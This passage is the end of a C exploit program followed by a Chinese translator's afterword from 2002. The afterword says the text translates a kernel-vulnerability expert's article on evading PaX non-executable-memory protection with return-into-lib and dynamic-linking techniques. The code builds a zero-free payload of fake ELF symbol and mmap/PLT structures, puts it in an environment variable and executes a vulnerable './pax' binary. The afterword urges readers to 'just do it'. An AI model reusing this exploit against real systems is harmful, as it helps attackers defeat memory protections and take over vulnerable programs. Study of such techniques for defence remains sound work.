    (char *) mysym + offsetof(struct my_elf_sym, st_name) + 2,
    offsetof(struct ourbuf, sym) +
    offsetof(struct my_elf_sym, st_name) + 2, 2);

    setup_zero_abs(&thebuf,
    (char *) mysym + offsetof(struct my_elf_sym, st_name) + 3,
    offsetof(struct ourbuf, sym) +
    offsetof(struct my_elf_sym, st_name) + 3, 3);

    setup_zero(&thebuf,
    offsetof(struct ourbuf, mymmap) +
    offsetof(struct mmap_plt_args, start), 4);

    setup_zero(&thebuf,
    offsetof(struct ourbuf, mymmap) +
    offsetof(struct mmap_plt_args, offset), 5);

    setup_zero(&thebuf,
    offsetof(struct ourbuf, mymmap) +
    offsetof(struct mmap_plt_args, reloc_offset) + 2, 6);

    setup_zero(&thebuf,
    offsetof(struct ourbuf, mymmap) +
    offsetof(struct mmap_plt_args, reloc_offset) + 3, 7);

    strcpy(str, "STR=");
    memcpy(str + 4, &thebuf, sizeof(thebuf));
    str[4 + sizeof(thebuf)] = 0;
    if (sizeof(struct ourbuf) + 4 >
    strlen(str) + sizeof(thebuf.mmapname)) {
    fprintf(stderr,
    "Zeroes in the payload, sizeof=%d, len=%d, correct it !\n",
    sizeof(struct ourbuf) + 4, strlen(str));
    fprintf(stderr, "sizeof thebuf.mmapname=%d\n",
    sizeof(thebuf.mmapname));
    exit(1);
    }
    execle("./pax", "pax", 0, env, 0);
    return 1;
    }
    <-->
    p.s Any problem( concerning the technique, or translation), welcome pass the E-mail<mail to:[email protected]> to proceed the discussion,and very welcome give any advise, and
    thank.(任何问题,不吝赐教,谢谢~)

    后记:匆忙完成了这样的翻译,显得激动和痛苦。作者是耳熟能详的内核级的漏洞发现专家,作者通过对Pax阻止堆栈缓冲溢出(比如通过禁止数据段可执行的内核补丁)机理分析,怎样逃避Pax的保护和怎样加强保护的解决方案,进行的防守和攻击,一张一盍,甚是精彩;在Pax的项目中有许多对ELF可执行链接文件的技术文档和页面不可执行的阐述,特别是"不可执行"苦于自己对保护模式下的汇编不了解,如履薄冰。

    作者在过去的溢出技术之为基础,提出lib函数以及动态链接返回这些新的技术,在高级的exploit中具体的实现作了精要的分析。本文以期抛砖引玉,"虽然掌握这些技术,对于狂热的计算机爱好者不是什么坏事,也许你在讨论这些技术的时候,有人试图阻止你,或你想了解它们的时候,有人给你带来了不愉快的感受,忘记这些人。just do it。"我相信你们明白我说什么。(25/2/2002)

    申明:本文译者保留中文修改权力,未经译者同意,不得任意拷贝,转载!!
    =EOF=

    发布人:盈星满月 来自: